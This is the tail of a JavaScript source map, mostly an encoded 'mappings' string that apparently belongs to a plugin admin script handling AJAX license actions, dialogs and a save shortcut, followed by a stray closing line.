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"}

haha - 2025